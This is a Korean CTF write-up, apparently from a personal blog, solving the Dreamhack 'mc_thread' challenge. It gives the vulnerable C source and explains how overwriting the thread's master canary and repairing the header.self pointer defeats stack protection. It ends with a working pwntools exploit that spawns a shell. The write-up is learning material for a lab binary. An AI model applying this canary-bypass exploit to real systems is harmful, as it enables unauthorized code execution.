이번 문제는 canary를 단순히 leak하는게 아니라
canary base인 master canary값을 변조하는 문제이다
문제코드
// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void read_bytes(char *buf, int size) {
int i;
for (i = 0; i < size; i++)
if (read(0, buf + i*8, 8) < 8)
return;
}
void thread_routine() {
char buf[256];
int size = 0;
printf("Size: ");
scanf("%d", &size);
printf("Data: ");
read_bytes(buf, size);
}
int main() {
pthread_t thread_t;
init();
if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
perror("thread create error:");
exit(0);
}
pthread_join(thread_t, 0);
return 0;
}
문제 코드를 보면 main에서 pthread_create 함수를 실행시키고
thread_routine 함수를 실행시킨다
이때 thread_routine에 함수에서 입력사이즈를 지정할 수 있기 때문에
overflow를 발생시킬 수 있다.
이때 master canary 주소와 buf 주소와의 차이를 계산해
master canary값을 변조해야 한다
stack frame
fs_base 디버깅
thread_routine+8에 bp 설정
각각 master canary 주소값과
buf의 주소값 그리고 차이값이다
이를 활용해 처음 payload를 작성했다
초기 payload
from pwn import *
p = process('./mc_thread') # buf부터 master카나리 offset 0x928 2336
#p = remote('host1.dreamhack.games',10133)
e = ELF('./mc_thread')
payload = b'a' * 280
payload += p64(e.symbols['giveshell'])
payload += b'a' *(0x928 - len(payload))
payload += b'a' * 8
num = len(payload) // 8
p.sendlineafter('Size: ', str(num))
p.sendafter('Data: ', payload)
p.interactive()
a로 더미값과 canary값을 통일시켰다
master canary 위치에도 동일하게 진행했다
SIGSEGV 오류가 나오는데
오류가 나오는 원인을 분석해보겠다
ulimit -c unlimited 명령어로 core dump 파일을 생성하도록 조치하였다
core dump 파일을 봤을 때 문제가 생기는 구간이
rax + 0x972에 값을 덮어씌워서 문제가 발생한 것으로 보인다
직접 라이브러리에서 문제되는 부분을 확인할 수 있게
dir로 glibc-2.35를 불러왔다
tui enable
self->canceltype = PTHREAD_CANCEL_DEFERRED 에
어느 부분에서 문제가 생긴것으로 보인다
저곳에서는 thread가 유효한지의 값이 들어가야 하는것 같은데
a같은 값이 들어가니까 문제가 생긴듯 싶다
fs_base가 struct pthread 구조체이기 때문에 p를 사용해
찍어봤다
header.self에 값이 문제가 되는것으로 보인다
그렇다면 header.self에 값을 유효한 값으로
넣어준다면 현재 보이는 문제를 해결할 수 있을 것으로 보인다
payload를 넣을 buf 위치와 header.self와의 거리 차이가 0x910만큼이다
vmmap으로 권한 있는 주소를 찾았다
최종 payload
from pwn import *
p = process('./mc_thread') # buf부터 master카나리 offset 0x928 2336
#p = remote('host1.dreamhack.games',10133)
e = ELF('./mc_thread')
payload = b'a' * 280
payload += p64(e.symbols['giveshell'])
payload += b'a' *(0x910 - len(payload))
payload += p64(0x404000 - 0x972)
payload += b'a' * 24
num = len(payload) // 8
p.sendlineafter('Size: ', str(num))
p.sendafter('Data: ', payload)
p.interactive()
buf와 header.self 주소차이 0x910
master canary와 주소차이 0x928
self값이 rax + 0x972에서 덮어씌워졌으니
vmmap에서 가져오는 주소값 - 0x972
master canary값 변조까지 한번에 a로 작성했다
결과
로컬과 원격에서도 동일하게 잘 작동한다
core dump파일을 실제로 사용하는지 몰랐는데
실제 환경에서 유용하게 사용할 수 있다는 것을 느꼇다
실제 라이브러리와 struct 구조를 실제로 확인하며
원리를 분석하고 문제를 푸니 과정이 매끄럽게 이해가 갔다
실제 파일을 직접 확인하면서 문제를 풀어보니
많이 어렵고 시간도 오래걸렸지만
매우 유용한 학습이 되었다.
'시스템해킹' 카테고리의 다른 글
[드림핵] __environ 풀이 (0) | 2025.01.17 |
---|---|
[드림핵] master_canary 풀이 (1) | 2024.12.31 |
[드림핵] seccomp 풀이 (0) | 2024.11.25 |
[드림핵] Bypass SECCOMP-1 풀이 (0) | 2024.11.18 |
[드림핵] No mov풀이 (1) | 2024.11.10 |